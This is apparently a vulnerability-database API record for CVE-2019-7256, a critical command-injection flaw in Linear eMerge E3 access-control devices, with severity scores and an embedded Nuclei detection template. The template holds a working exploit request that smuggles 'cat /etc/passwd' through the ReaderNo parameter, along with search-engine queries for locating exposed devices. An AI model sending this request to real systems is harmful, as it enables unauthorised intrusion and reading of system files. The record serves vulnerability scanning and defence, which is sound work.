{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-7256/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-7256/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-7256/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-7256/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-7256/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-7256"},"sightings":{"href":"/api/v1/sightings/cve-2019-7256"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.97081,"kev":true,"percentile":0.9989},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-7256.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-7256\n\ninfo:\n  name: eMerge E3 1.00-06 - Remote Code Execution\n  author: pikpikcu\n  severity: critical\n  description: |\n    Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Apply the latest security patch or update to a non-vulnerable version of eMerge E3.\n  reference:\n    - https://www.exploit-db.com/exploits/47619\n    - http://linear-solutions.com/nsc_family/e3-series/\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-7256\n    - https://applied-risk.com/labs/advisories\n    - https://www.applied-risk.com/resources/ar-2019-005\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2019-7256\n    cwe-id: CWE-78\n    epss-score: 0.97081\n    epss-percentile: 0.99891\n    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: nortekcontrol\n    product: linear_emerge_essential_firmware\n    shodan-query:\n      - title:\"eMerge\"\n      - http.title:\"emerge\"\n    fofa-query: title=\"emerge\"\n    google-query: intitle:\"emerge\"\n  tags: cve,cve2019,emerge,rce,edb,nortekcontrol,kev,vkev,vuln\nvariables:\n  file: \"{{rand_text_alpha(10)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20{{file}}.txt%60 HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /{{file}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100f58db1eca87a516844a3753c134fa986c75ca5322bc91ba0088d5fdf439ebce6022064aaf380ab429216b674019f86600cebc9fd4041063d2d928742732702bd294b:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-7256"}